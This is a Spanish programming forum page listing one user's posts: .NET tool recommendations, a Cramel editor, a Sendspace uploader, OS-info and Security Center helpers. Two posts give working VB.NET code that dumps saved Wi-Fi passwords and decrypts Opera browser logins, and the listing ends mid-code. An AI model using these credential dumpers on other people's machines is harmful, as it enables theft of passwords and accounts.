Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - fudmario

Páginas: [1] 2 3
1



Todos tienen lista de Herramientas/Recursos que son indispensables, que ahorran tiempo y se integran perfectamente al momento de programar. aquí les dejo la mía.
En esta lista de Herramientas algunas herramientas son gratuitas y otras de pago, antes de comenzar con la lista daremos una breve introducción.


  • INTRODUCCIÓN


Cita de: velneo.es
.NET Framework se usa principalmente para crear aplicaciones para móviles, web y de escritorio para ejecutar en servidores, PCs y Dispositivos Windows

Luego tenemos el entorno .NET Core que es una plataforma modular para crear aplicaciones en el lado servidor para ejecutar en Windows, Linux y Mac.

Y por último está Mono, que es una implementación libre de la plataforma de desarrollo .NET para dispositivos Android, iOS y GNU/Linux y que permite reutilizar código y da acceso a APIs nativas.

  • Aprende a programar en .NET: Aun no decides descargar nada y quieres probar  sobre .NET  y C#  de manera Online. Prueba con esta Web:  You are not allowed to view links. Register or Login
  • Documentación: Encontraras guías de inicio rápido, tutoriales, referencia de API y ejemplos de código ->You are not allowed to view links. Register or Login
  • Fundamentos de C# para principiantes desde Cero(en-Us): You are not allowed to view links. Register or Login


Existen varios cursos, libros(gratuitos y de pago) donde pueden aprender, sin embargo la mejor forma de iniciar es elegir una idea para un proyecto y empezar a desarrollarlo, cuando tengas dudas, pasar por los foros y preguntar o buscar(gran parte de esas dudas que tengas quizás ya estén resueltas).

  • Entorno de Desarrollo Integrado (IDE).


You are not allowed to view links. Register or Login Es un Entorno de Desarrollo Integrado (IDE) para el diseño de aplicaciones y servicios para sistemas operativos Windows. Se pueden programar en numerosas sintaxis: C++, C#, Visual Basic .NET, Python, Ruby, PHP o Java. También en entornos de desarrollo web como ASP. NET MVC (Modelo Vista Controlador) o Django. La idea es que con Visual Studio se puedan desarrollar todo tipo de aplicaciones móviles, servicios web y páginas web en diferentes plataformas: Windows, Android e iOS

You are not allowed to view links. Register or Login: Este Entorno de Desarrollo Integrado posibilita a los desarrolladores de aplicaciones .NET crear proyectos con Visual Studio tanto para Linux como para Mac OS X, con una única base de código estándar para todas las plataformas.

You are not allowed to view links. Register or Login: Entorno de Desarrollo Integrado de código abierto que permite el desarrollo de aplicaciones para Windows.


  • HERRAMIENTAS Y RECURSOS:


You are not allowed to view links. Register or Login: Es un administrador de paquetes para .NET que le permite tener acceso a varias Librerias de terceros, o para crear y compartir sus propias herramientas.

You are not allowed to view links. Register or Login: Se trata de una herramienta esencial que ofrece acceso rápido a las extensiones, controles y plantillas de Visual Studio.

You are not allowed to view links. Register or Login: Es una utilidad de software dirigida al desarrollo de .NET Framework. Se utiliza para consultar de forma interactiva las bases de datos SQL mediante LINQ, así como para escribir código C # interactivamente sin la necesidad de un IDE.

You are not allowed to view links. Register or Login: Es un Decompilador y un analizador estático para .NET Framework. Le ayuda a comprender y depurar su código .NET, incluidos los componentes de terceros, incluso si no tiene ninguna documentación o comentarios.

You are not allowed to view links. Register or Login: Puede descompilar de forma fiable cualquier ensamblado .NET en código C# o IL equivalente. El Decompiler admite varios formatos, como bibliotecas (. dll), ejecutables (. exe) y archivos de metadatos de Windows (. winmd).

You are not allowed to view links. Register or Login: Esta es una extensión de Visual Studio por JetBrains. ReSharper añade la potencia para analizar la calidad del código, a continuación, para encontrar y corregir los errores rápidamente. También tiene una serie de accesos directos para la refactorización rápida y fácil y la navegación.

You are not allowed to view links. Register or Login: Extensión de Visual Studio para el análisis de código estático. La herramienta le ayuda a medir la calidad del código utilizando varias métricas, para visualizar su diseño y para estimar con exactitud su profundidad técnica, justo dentro del IDE.

You are not allowed to view links. Register or Login Esta extensión conecta el IDE directamente a los repositorios de GitHub. Esto significa que puede crear, clonar y publicar sus proyectos, y crear o ver solicitudes de extracción directamente en Visual Studio.

You are not allowed to view links. Register or Login: Hace que sea más fácil ver lo que está pasando con código complejo, por lo que puede avanzar y pasar menos tiempo vagando y preguntando. ¿Por qué el valor de esa expresión es diferente de lo que esperas? ¿Cuándo cambió el local? ¿Cuántas veces hemos pasado por este bucle? El visualizador de depuración de CodeRush responde instantáneamente a estas preguntas y más.

You are not allowed to view links. Register or Login: es una poderosa herramienta para encontrar fugas de memoria y optimizar el uso de memoria en programas escritos en C#, VB.NET o cualquier otro lenguaje .NET.

You are not allowed to view links. Register or Login: es una extensión de Visual Studio de código abierto para limpiar y simplificar nuestros códigos C#, C++, F #, VB, PHP, PowerShell, R, JSON, XAML, XML, ASP, HTML, CSS, LESS, SCSS, JavaScript y TypeScript.

You are not allowed to view links. Register or Login: Un complemento de depuración increíble para Visual Studio!

You are not allowed to view links. Register or Login: Es una extensión de Visual Studio para desarrolladores que necesitan generar comentarios XML desde el código fuente usando plantillas personalizables, mantener la documentación limpia y actualizada, producir documentación de ayuda en múltiples formatos, usar el código fuente inteligente Spell Checker en Visual Studio, y más.

You are not allowed to view links. Register or Login: Web para Convertir XML en una Clase XmlSerializer, compatible con CSharp.

You are not allowed to view links. Register or Login: es un sitio para generar clases de C#, VB.Net, JavaScript, Java y PHP a partir de JSON.

You are not allowed to view links. Register or Login: Sitio web que convierte códigos de C# a VB y VB a C#.

You are not allowed to view links. Register or Login: Realiza pruebas unitarias automatizadas para .NET. Los ejecuta en paralelo y automáticamente, insertando los resultados en línea dentro de Visual Studio. ¿Está familiarizado con la integración continua? Conozca las pruebas continuas.

You are not allowed to view links. Register or Login:  es un editor de Markdown con todas las funciones para Windows.

You are not allowed to view links. Register or Login: Depuración web gratuito para cualquier navegador, sistema o plataforma

You are not allowed to view links. Register or Login: Realiza peticiones HTTP (GET, POST, DELETE, UPDATE…) a una dirección de nuestro interés. Esto es de gran utilidad a la hora de interactuar con APIs Web e, incluso, para testear nuestros propios desarrollos.

You are not allowed to view links. Register or Login: Otro link de Interes en donde pueden encontrar una colección de increíbles bibliotecas, herramientas, frameworks y software para .NET.




Bueno esos es todo, espero que esta lista de herramientas/recursos les sirvan.
Si quieren compartir en otros lados no olviden de respetar al autor y la fuente.Saludos.

2
Dudas y pedidos generales / Error con el Teclado al usar Wifi
« en: Octubre 14, 2017, 01:43:35 am »



Buenas a todos, les comento, hace poco me dejaron un portatil viejo para que lo actualice a Win10 y el problema viene al usar el Wifi.


Cuando activo el Wifi se desconfigura el teclado, es decir que al presionar el boton de "Espacio" me retorna " .-M" y al presionar el boton Retroceso o Backspace retorna "{{h", pero solo son 2 o 3 teclas las que se desconfigura el resto funciona correctamente.


¿A alguien le ha pasado algo similar?, ¿Es problema del teclado?, por que conecte otro teclado y me funciona correctamente usando Wifi.

3
Otros lenguajes / Cramel Editor v1.0 by fudmario
« en: Octubre 01, 2017, 08:21:26 pm »
Hola a todos aquí les dejo una versión actualizada del editor de Cramel, compatible con la nueva versión.


Nuevas Mejoras:


  • Esta version es compatible con la nueva version que se encuentra disponible en You are not allowed to view links. Register or Login
  • Mejoras internas para un fácil manejo.
  • Consultas con el archivo de ayuda de forma más sencilla y una acceso directo con temas básicos para comenzar a aprender sobre Cramel.
  • Comprobación de Actualización de las nuevas actualizaciones de Cramel.
  • Tambien puedes descargar desde la misma aplicación las nuevas versiones de Cramel.
  • Soporte de arrastrar y soltar
  • Re-diseñado de la interfaz
Lista de Atajos Disponibles:

  • Ctrl+Shift+U => Texto Seleccionado a Mayuscula
  • Ctrl+U => Texto seleccionado a minuscula
  • Ctrl+D => Duplicar Linea
  • Ctr+Shift+T => Copiar Linea
  • Ctrl+A => Seleccionar Todo
  • Ctrl+V => Pegar
  • Ctrl+C => Copiar
  • Ctrl+X => Cortar
  • Ctrl+B => Compilar Archivo
  • Ctrl+E => Compilar y Ejecutar Archivo
  • Ctrl+G => Ver la Definición
Configurar ruta del Compilador:
  • Ir a: Configuraciones -> Opciones
  • Establecer la Directorio donde se encuentra el Compilador.
  • Si instalaste usando el Compilador simplemente le das a "Auto detectar Cramel".
  • Si tu versión de cramel se encuentra en otro directorio, seleccionas en Ruta del Compilado para configurar la ruta del compilador.
CAPTURAS:
Descarga(Versión Portable): You are not allowed to view links. Register or Login
Contraseña: Cramel
Requerimientos: .NetFramework v4.5.1

4
C# - VB.NET / [VB.NET] Sendspace Uploader by fudmario
« en: Julio 14, 2017, 11:05:51 pm »


Aquí les dejo esta implementación que hice  en vb.net de la API de Sendspace, para su uso deben registrarse en You are not allowed to view links. Register or Login y generar su ApiKey en You are not allowed to view links. Register or Login


Ejemplo de uso:

Código: (vbnet) You are not allowed to view links. Register or Login
Dim filePath As String = "C:\Compress\MoveControl.zip"
 Dim sendspaceclient As New Sendspace.SendspaceClient("YourApiKey")
 Dim ssService As New Sendspace.SendspaceService(sendspaceclient)
 ' De manera Sincronica
 'Dim result As Sendspace.SendspaceResponse = ssService.UploadFile(filePath)
 ' De manera Asincronica
 Dim result As Sendspace.SendspaceResponse = Await ssService.UploadFileAsync(filePath)
  MessageBox.Show(result.ToString())

Retorna:

Código: You are not allowed to view links. Register or Login
Status.......: ok
File ID......: u9km31
File Name....: MoveControl.zip
Download Url.: https://www.sendspace.com/file/u9km31
Delete Url...: https://www.sendspace.com/delete/u9km31/5bb0402796182faa626e3aa7593137c7

El código fuente lo pueden descargar desde: You are not allowed to view links. Register or Login
La libreria Compilada la pueden descargar Aquí: You are not allowed to view links. Register or Login

5
Otros lenguajes / [Cramel] Obtener Nombre del Sistema Operativo
« en: Marzo 01, 2017, 12:57:17 am »
Una simple funcion para obtener el nombre del Sistema Operativo.
Código: (text) You are not allowed to view links. Register or Login
Importar "Cramel.cml"
API RegOpenKeyEx(hKey:Entero,lpSubKey:Cadena,ulOptions,samDesired:Entero,Referencia phkResult:Entero):Entero, "Advapi32.dll" "RegOpenKeyExA"
API RegQueryValueEx(hKey:Entero,lpValueName:Cadena,lpReserved:Entero,Referencia lpType:Entero,Referencia lpData:Cadena,Referencia lpcbData:Entero):Entero, "Advapi32.dll" "RegQueryValueExA"
API RegCloseKey(hKey:Entero):Entero, "Advapi32.dll"
'=> Obtiene Nombre del Sistema Operativo
'=> Retorna Cadena
Proc SistemaOperativo():Cadena
Var SubKey, ValueName, CadenaFinal:Cadena
Var Result,ret,Data,Tipo,resData:Entero
Result = &80000002 'HKLM
SubKey = "SOFTWARE\Microsoft\Windows NT\CurrentVersion"
ValueName =  "ProductName"
ret = RegOpenKeyEx(Result, SubKey, 0, &20019, Result)
Si ret<> &0 Entonces Devolver "Desconocido"
ret = RegQueryValueEx(Result, ValueName, 0, 0, CadenaFinal, Data) 
CadenaFinal = RepCarac(0, Data)
ret = RegQueryValueEx(Result, ValueName, 0,  0, CadenaFinal, Data) 
Devolver CadenaFinal
RegCloseKey(Result)
FinProc

Mensaje(SistemaOperativo())


6
Otros lenguajes / [Deprecado] Cramel Editor v0.1 by Fudmario
« en: Febrero 28, 2017, 12:24:24 am »
Cramel Editor v0.1

Hola a todos, aqui les dejo este editor de texto para Cramel, es bastante simple y aun esta en fase de desarrollo razon por la cual no dispone de muchas funciones.


Agradeceria cualquier tipo de sugerencia y/o caracteristica para implementar a este Editor.

Estaba pensando agregar Intellisense(pero varias de las librerias no estan documentadas o no tiene algun patron para detectarlas) para poder detectar todas las librerias y agregar un sistema de auto-complentado.

Capturas:






Configurar ruta del Compilador:
  • Ir a: Configuraciones -> Compilador
  • Establecer la Directorio donde se encuentra el Compilador.
Citar
Requiere: NetFramework 4.5
 
NUEVA VERSION=>>You are not allowed to view links. Register or Login
 ACTUALIZADO:(02/03/2017)

Descarga: You are not allowed to view links. Register or Login
Contraseña: cramel
Comprimido: RAR5


Código: You are not allowed to view links. Register or Login
ACTUALIZACION #2
[+] Añadido: Teclas de Acceso Rápido.
[+] Reparado: Error en log de Compilación.
[+] Actualización: Modificaciones Internas.

ACTUALIZACION #1
[+] Reparado el error al crear un nuevo Fichero.
[+] Reparado un error en las Opciones para compilar.
[+] Actualizado el Diseño de la Interfaz(iconos..xD)

LINKS ANTIGUOS:



7
C# - VB.NET / [VB.NET] WifiHelper(Password Dumper) By fudmario
« en: Enero 13, 2017, 01:07:10 am »
Estaba leyendo este post (You are not allowed to view links. Register or Login), así que me parecio interesante y decidi implementarlo en VB.Net
Esta libreria solo fué probada en: WINDOWS 10 PRO (x64), solo funciona para versiones mayores a Windows Vista.
Cualquier error o sugerencia para mejorar el Código, enviar un MP o por SKYPE o Comentar...



Ejemplo de Uso:

Agregar Referencia a la Libreria e Importar:

Código: (vbnet) You are not allowed to view links. Register or Login
Imports System.Net.NetworkInformation
Imports System.Text
Imports WifiHelper
Imports WifiHelper.Types

Obtener la Lista de Adaptadores WiFi Disponibles:
Código: (vbnet) You are not allowed to view links. Register or Login
Dim sb As New StringBuilder()
For Each ni As NetworkInterface In Wifi.GetWlanInterfaces()
sb.AppendLine("Name........: " & ni.name)
sb.AppendLine("Description.: " & ni.Description)
sb.AppendLine("Guid........: " & ni.Id)
sb.AppendLine("+++++++++++++++++++++++++++++++++++++++++++++")
sb.AppendLine()
Next
    Messagebox.Show(sb.ToString())

Retorna:
Código: You are not allowed to view links. Register or Login
Name........: Wi-Fi 2
Description.: 802.11n USB Wireless LAN Card
Guid........: {59FB677D-E975-4AD8-B420-0A51F490FFE7}
+++++++++++++++++++++++++++++++++++++++++++++

Name........: Wi-Fi
Description.: Ralink RT5390R 802.11bgn Wi-Fi Adapter
Guid........: {FDDB1266-7176-45CD-AC21-E56737E036A4}
+++++++++++++++++++++++++++++++++++++++++++++

' Obtener la NetworkInterface mediante la Descripción  del Adaptador:

Código: (vbnet) You are not allowed to view links. Register or Login
Dim ni As NetworkInterface = Wifi.GetInterfaceFrom("Ralink RT5390R 802.11bgn Wi-Fi Adapter")
Código: (vbnet) You are not allowed to view links. Register or Login
' Obtener Los Profiles disponibles
Dim profiles As IEnumerable(Of WlanProfileInfo) = Wifi.GetProfiles(nic).ToList()
If Not IsNothing(profiles) Then
'Obtener el Número de profiles disponibles
Messagebox.Show(profiles.Count())

' Obtener los Nombres de los SSID Disponibles
For Each b as WlanProfileInfo in profiles
MessageBox.Show(b.profileName)
Next
End If

Código: (vbnet) You are not allowed to view links. Register or Login
' Obtener Información de un Profile
Dim res As WifiProfile = Wifi.GetProfileData("Claro", nic)
Dim sb As new StringBuilder()
sb.AppendLine("SSID.......: "  & res.SsidName)
sb.AppendLine("Password..: "  & res.Password)
Messagebox.Show(sb.ToString())

Messagebox.Show(res.ToString())

Retorna:
Código: You are not allowed to view links. Register or Login
Name...................: Claro
SSID...................: Claro
Connection Type........: ESS
Connection Mode........: auto
Authentication.........: WPA2PSK
Encryption.............: AES
Key Type...............: passPhrase
Is Protect?............: False
Password...............: 0987654321




Descargar Código Fuente: You are not allowed to view links. Register or Login
Descargar Libreria Compilada:You are not allowed to view links. Register or Login





8
C# - VB.NET / [VB.NET] NativeOsVersion
« en: Enero 12, 2017, 08:00:25 pm »
Alternativa a You are not allowed to view links. Register or Login, para aplicaciones que no se han manifestado para Windows 8.1 o Windows 10.
Código: (vbnet) You are not allowed to view links. Register or Login
    <DllImport("Ntdll.dll", CharSet:=CharSet.Unicode, ExactSpelling:=True)>
    Friend Shared Function RtlGetVersion(<[In], Out> ByVal osversion As RtlOsVersionInfoExW) As Integer
    End Function

    <StructLayout(LayoutKind.Sequential)>
    Public Class RtlOsVersionInfoExW
        Public dwOSVersionInfoSize As UInt32
        Public dwMajorVersion As UInt32
        Public dwMinorVersion As UInt32
        Public dwBuildNumber As UInt32
        Public dwPlataformId As UInt32
        <MarshalAs(UnmanagedType.ByValTStr, SizeConst:=128)> Public szCSDVersion As String
        Public wServicePackMajor As UInt16
        Public wServicePackMinor As UInt16
        Public wSuiteMask As UInt16
        Public bProductType As Byte
        Public bReserved As Byte
    End Class

    Public Function NativeOsVersion() As Version
        Dim osVersionInfo As New RtlOsVersionInfoExW()
        osVersionInfo.dwOSVersionInfoSize = Marshal.SizeOf(GetType(RtlOsVersionInfoExW))
        Dim status As Integer = RtlGetVersion(osVersionInfo)
        If status <> 0 Then
            ' Throw New Win32Exception(RtlNtStatusToDosError(status))
            Return Environment.OSVersion.Version
        End If

        Return New Version(osVersionInfo.dwMajorVersion,
                           osVersionInfo.dwMinorVersion,
                           osVersionInfo.dwBuildNumber)
    End Function

9
C# - VB.NET / [VB.NET] WindowsSecurityCenter by fudmario
« en: Diciembre 22, 2016, 02:19:20 pm »


Implementacion de Windows Security Center (WSC) en vb.net, cualquier error o sugerencia enviarlo por MP o Skype...


Ejemplo de Uso:
Código: (vbnet) You are not allowed to view links. Register or Login
        Dim avsStatus As WindowsSecurityCenter.WscSecurityProviderHealth = WindowsSecurityCenter.GetStatusOfSecurityProvider(WindowsSecurityCenter.WscSecurityProvider.WscSecurityProviderAntivirus)
        Select Case avsStatus
            Case WindowsSecurityCenter.WscSecurityProviderHealth.WscSecurityProviderHealthGood
                MessageBox.Show("El estado del proveedor de seguridad es bueno y no necesita atención del usuario.")
            Case WindowsSecurityCenter.WscSecurityProviderHealth.WscSecurityProviderHealthPoor
                MessageBox.Show("El estado del proveedor de seguridad es deficiente y el equipo puede estar en riesgo.")
            Case WindowsSecurityCenter.WscSecurityProviderHealth.WscSecurityProviderHealthSnooze
                MessageBox.Show("El proveedor de seguridad está en estado suspendido. Snooze indica que WSC no está protegiendo activamente la computadora.")
        End Select
        Dim uacStatus As WindowsSecurityCenter.WscSecurityProviderHealth = WindowsSecurityCenter.GetStatusOfSecurityProvider(WindowsSecurityCenter.WscSecurityProvider.WscSecurityProviderUserAccountControl)
        If uacStatus = WindowsSecurityCenter.WscSecurityProviderHealth.WscSecurityProviderHealthPoor Then
            MessageBox.Show("El UAC se encuentra desactivado....")
        End If


Código: (vbnet) You are not allowed to view links. Register or Login
' ***********************************************************************
' Assembly         : WinControl
' Author           : fudmario
' Created          : 12-21-2016
'
' Last Modified By : fudmario
' Last Modified On : 12-21-2016
' ***********************************************************************
' <copyright file="WindowsSecurityCenter.vb" company="DeveloperTeam">
'     Copyright ©  2016
' </copyright>
' <summary></summary>
' ***********************************************************************
Imports System.Runtime.InteropServices
Public NotInheritable Class WindowsSecurityCenter
    <DebuggerNonUserCode>
    Private Sub New()
    End Sub
    ''' <summary>
    ''' Defines all the services that are monitored by Windows Security Center (WSC).
    ''' </summary>
    ''' <remarks>
    ''' <see href="https://msdn.microsoft.com/en-us/library/bb432509(v=vs.85).aspx"/>
    ''' </remarks>
    <Flags>
    Public Enum WscSecurityProvider As Integer
        ''' <summary>
        ''' The aggregation of all firewalls for this computer.
        ''' </summary>
        WscSecurityProviderFirewall = 1
        ''' <summary>
        ''' The automatic update settings for this computer.
        ''' </summary>
        WscSecurityProviderAutoupdateSettings = 2
        ''' <summary>
        ''' The aggregation of all antivirus products for this computer.
        ''' </summary>
        WscSecurityProviderAntivirus = 4
        ''' <summary>
        ''' The aggregation of all anti-spyware products for this computer.
        ''' </summary>
        WscSecurityProviderAntispyware = 8
        ''' <summary>
        ''' The settings that restrict the access of web sites in each of the Internet zones for this computer.
        ''' </summary>
        WscSecurityProviderInternetSettings = 16
        ''' <summary>
        ''' The User Account Control (UAC) settings for this computer.
        ''' </summary>
        WscSecurityProviderUserAccountControl = 32
        ''' <summary>
        ''' The running state of the WSC service on this computer.
        ''' </summary>
        WscSecurityProviderService = 64
        ''' <summary>
        ''' None of the items that WSC monitors.
        ''' </summary>
        WscSecurityProviderNone = 0
        ''' <summary>
        ''' All of the items that the WSC monitors.
        ''' </summary>
        WscSecurityProviderAll =
            WscSecurityProviderFirewall Or WscSecurityProviderAutoupdateSettings Or WscSecurityProviderAntivirus Or
            WscSecurityProviderAntispyware Or WscSecurityProviderInternetSettings Or
            WscSecurityProviderUserAccountControl Or
            WscSecurityProviderService Or WscSecurityProviderNone
    End Enum

    ''' <summary>
    ''' Defines the possible states for any service monitored by Windows Security Center (WSC).
    ''' </summary>
    ''' <remarks>
    ''' <see href="https://msdn.microsoft.com/en-us/library/bb432510(v=vs.85).aspx"/>
    ''' </remarks>
    <Flags>
    Public Enum WscSecurityProviderHealth As Integer
        ''' <summary>
        ''' The status of the security provider category is good and does not need user attention.
        ''' </summary>
        WscSecurityProviderHealthGood
        ''' <summary>
        ''' The status of the security provider category is not monitored by WSC.
        ''' </summary>
        WscSecurityProviderHealthNotmonitored
        ''' <summary>
        ''' The status of the security provider category is poor and the computer may be at risk.
        ''' </summary>
        WscSecurityProviderHealthPoor
        ''' <summary>
        ''' The security provider category is in snooze state. Snooze indicates that WSC is not actively protecting the computer.
        ''' </summary>
        WscSecurityProviderHealthSnooze
        ''' <summary>
        ''' The status of the security provider category is unknown
        ''' </summary>
        WscSecurityProviderHealthUnknown
    End Enum

    ''' <summary>
    ''' Gets the aggregate health state of the security provider categories represented by the specified <see cref="WscSecurityProvider"/> enumeration values.
    ''' </summary>
    ''' <param name="providers ">One or more of the values in the <see cref="WscSecurityProvider"/> enumeration. To specify more than one value, combine the individual values by performing a bitwise OR operation.</param>
    ''' <param name="pHealth ">A pointer to a variable that takes the value of one of the members of the <see cref="WscSecurityProviderHealth"/> enumeration. If more than one provider is specified in the Providers parameter, the value of this parameter is the health of the least healthy of the specified provider categories.</param>
    ''' <returns>Returns S_OK if the function succeeds, otherwise returns an error code. If the WSC service is not running, the return value is always S_FALSE and the pHealth out parameter is always set to WSC_SECURITY_PROVIDER_HEALTH_POOR.</returns>
    ''' <remarks>
    ''' <see href="https://msdn.microsoft.com/en-us/library/bb432506(v=vs.85).aspx"/>
    ''' </remarks>
    <DllImport("wscapi.dll")>
    Private Shared Function WscGetSecurityProviderHealth(<[In]> providers As WscSecurityProvider,
                                                         <Out> ByRef pHealth As WscSecurityProviderHealth) _
        As Integer
    End Function

    ''' <summary>
    ''' Gets the status of security provider.
    ''' </summary>
    ''' <param name="provider">provider.</param>
    ''' <returns>The possible states for service monitored by Windows Security Center (WSC).</returns>
    Public Shared Function GetStatusOfSecurityProvider(provider As WscSecurityProvider) As WscSecurityProviderHealth
        Dim outValue As WscSecurityProviderHealth = WscSecurityProviderHealth.WscSecurityProviderHealthUnknown
        Dim ret As Integer = WscGetSecurityProviderHealth(provider, outValue)
        Return If(ret <> &H0, WscSecurityProviderHealth.WscSecurityProviderHealthUnknown, outValue)
    End Function
End Class


10
C# - VB.NET / [VB.NET] Opera Password Viewer
« en: Diciembre 07, 2016, 11:06:08 pm »
Opera Test: Versión 41.0.2353.69 (WoW64)



Se necesita de la Clase SqliteHandler, la pueden copiar de You are not allowed to view links. Register or Login


Código: (vbnet) You are not allowed to view links. Register or Login
Dim loginPath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Opera Software\Opera Stable\Login Data")
Dim sb As New StringBuilder
Dim sqlDataBase As New SqLiteHandler(loginPath)
      sqlDataBase.ReadTable("logins")
Dim count As Integer = sqlDataBase.GetRowCount()
For i = 0 To count - 1
                Dim mUrl As String = sqlDataBase.GetValue(i, "origin_url")
                Dim mUserName As String = sqlDataBase.GetValue(i, "username_value")
                Dim mPassword As String = Decode(sqlDataBase.GetValue(i, "password_value"))
                sb.AppendLine("User: " & mUserName)
                sb.AppendLine("Url: " & mUrl)
                sb.AppendLine("Password: " & mPassword)
Next i
 
Messagebox.Show(sb.ToString)

Para decifrar las contraseñas, agregar Referencias a: System.Security e Importar: System.Security.Cryptography

Código: (vbnet) You are not allowed to view links. Register or Login
    Private Function Decode(ByVal data As String) As String
        If String.IsNullOrEmpty(data) Then
            Return String.Empty
        Else
            Dim encryptedData As Byte() = Encoding.Default.GetBytes(data)
            Dim decryptedData As Byte() = ProtectedData.Unprotect(encryptedData, Nothing, DataProtectionScope.CurrentUser)
            Return Encoding.UTF8.GetString(decryptedData)
        End If
    End Function



SQLiteHandler Class:


Código: (vbnet) You are not allowed to view links. Register or Login

' ***********************************************************************
' Assembly         : SQLiteHandler
' Author           : ??????
' Created          : ??-??-????
'' ***********************************************************************
 
Imports System.IO
Imports System.Runtime.InteropServices
Imports Microsoft.VisualBasic.CompilerServices
Public Class SqLiteHandler
    Private db_bytes As Byte()
    Private mEncoding As ULong
    Private field_names As String()
    Private master_table_entries As sqlite_master_entry()
    Private page_size As UShort
    Private SQLDataTypeSize As Byte() = New Byte() {0, 1, 2, 3, 4, 6, 8, 8, 0, 0}
    Private table_entries As table_entry()
 
    Public Sub New(baseName As String)
        If File.Exists(baseName) Then
            FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.[Shared], -1)
            Dim str As String = Strings.Space(CInt(FileSystem.LOF(1)))
            FileSystem.FileGet(1, str, -1L, False)
            FileSystem.FileClose(New Integer() {1})
            Me.db_bytes = System.Text.Encoding.Default.GetBytes(str)
            If String.Compare(System.Text.Encoding.Default.GetString(Me.db_bytes, 0, 15), "SQLite format 3", StringComparison.Ordinal) <> 0 Then
                Throw New Exception("Not a valid SQLite 3 Database File")
            End If
            If Me.db_bytes(&H34) <> 0 Then
                Throw New Exception("Auto-vacuum capable database is not supported")
            End If
            Me.page_size = CUShort(Me.ConvertToInteger(&H10, 2))
            Me.mEncoding = Me.ConvertToInteger(&H38, 4)
            If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.Zero) = 0 Then
                Me.mEncoding = 1L
            End If
            Me.ReadMasterTable(100L)
        End If
    End Sub
 
    Private Function ConvertToInteger(startIndex As Integer, Size As Integer) As ULong
        If (Size > 8) Or (Size = 0) Then
            Return 0L
        End If
        Dim num2 As ULong = 0L
        Dim num4 As Integer = Size - 1
        For i As Integer = 0 To num4
            num2 = (num2 << 8) Or Me.db_bytes(startIndex + i)
        Next
        Return num2
    End Function
 
    Private Function CVL(startIndex As Integer, endIndex As Integer) As Long
        endIndex += 1
        Dim buffer As Byte() = New Byte(7) {}
        Dim num4 As Integer = endIndex - startIndex
        Dim flag As Boolean = False
        If (num4 = 0) Or (num4 > 9) Then
            Return 0L
        End If
        If num4 = 1 Then
            buffer(0) = CByte(Me.db_bytes(startIndex) And &H7F)
            Return BitConverter.ToInt64(buffer, 0)
        End If
        If num4 = 9 Then
            flag = True
        End If
        Dim num2 As Integer = 1
        Dim num3 As Integer = 7
        Dim index As Integer = 0
        If flag Then
            buffer(0) = Me.db_bytes(endIndex - 1)
            endIndex -= 1
            index = 1
        End If
        Dim num7 As Integer = startIndex
        Dim i As Integer = endIndex - 1
        While i >= num7
            If (i - 1) >= startIndex Then
                buffer(index) = CByte((CByte(Me.db_bytes(i) >> ((num2 - 1) And 7)) And (CInt(&HFF) >> num2)) Or CByte(Me.db_bytes(i - 1) << (num3 And 7)))
                num2 += 1
                index += 1
                num3 -= 1
            ElseIf Not flag Then
                buffer(index) = CByte(CByte(Me.db_bytes(i) >> ((num2 - 1) And 7)) And (CInt(&HFF) >> num2))
            End If
            i += -1
        End While
        Return BitConverter.ToInt64(buffer, 0)
    End Function
 
    Public Function GetRowCount() As Integer
        Return Me.table_entries.Length
    End Function
 
    Public Function GetTableNames() As String()
        Dim strArray2 As String() = Nothing
        Dim index As Integer = 0
        Dim num3 As Integer = Me.master_table_entries.Length - 1
        For i As Integer = 0 To num3
            If Me.master_table_entries(i).item_type = "table" Then
                strArray2 = DirectCast(Utils.CopyArray(DirectCast(strArray2, Array), New String(index) {}), String())
                strArray2(index) = Me.master_table_entries(i).item_name
                index += 1
            End If
        Next
        Return strArray2
    End Function
 
    Public Function GetValue(row_num As Integer, field As Integer) As String
        If row_num >= Me.table_entries.Length Then
            Return Nothing
        End If
        If field >= Me.table_entries(row_num).content.Length Then
            Return Nothing
        End If
        Return Me.table_entries(row_num).content(field)
    End Function
 
    Public Function GetValue(row_num As Integer, field As String) As String
        Dim num As Integer = -1
        Dim length As Integer = Me.field_names.Length - 1
        For i As Integer = 0 To length
            If Me.field_names(i).ToLower().CompareTo(field.ToLower()) = 0 Then
                num = i
                Exit For
            End If
        Next
        If num = -1 Then
            Return Nothing
        End If
        Return Me.GetValue(row_num, num)
    End Function
 
    Private Function GVL(startIndex As Integer) As Integer
        If startIndex > Me.db_bytes.Length Then
            Return 0
        End If
        Dim num3 As Integer = startIndex + 8
        For i As Integer = startIndex To num3
            If i > (Me.db_bytes.Length - 1) Then
                Return 0
            End If
            If (Me.db_bytes(i) And &H80) <> &H80 Then
                Return i
            End If
        Next
        Return (startIndex + 8)
    End Function
 
    Private Function IsOdd(value As Long) As Boolean
        Return ((value And 1L) = 1L)
    End Function
 
    Private Sub ReadMasterTable(Offset As ULong)
        If Me.db_bytes(CInt(Offset)) = 13 Then
            Dim num2 As UShort = Convert.ToUInt16(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(Offset), 3D)), 2)), Decimal.One))
            Dim length As Integer = 0
            If Me.master_table_entries IsNot Nothing Then
                length = Me.master_table_entries.Length
                Me.master_table_entries = DirectCast(Utils.CopyArray(DirectCast(Me.master_table_entries, Array), New sqlite_master_entry((Me.master_table_entries.Length + num2)) {}), sqlite_master_entry())
            Else
                Me.master_table_entries = New sqlite_master_entry(num2) {}
            End If
            Dim num13 As Integer = num2
            For i As Integer = 0 To num13
                Dim num As ULong = Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(Offset), 8D), New Decimal(i * 2))), 2)
                If Decimal.Compare(New Decimal(Offset), 100D) <> 0 Then
                    num += Offset
                End If
                Dim endIndex As Integer = Me.GVL(CInt(num))
                Dim num7 As Long = Me.CVL(CInt(num), endIndex)
                Dim num6 As Integer = Me.GVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)))
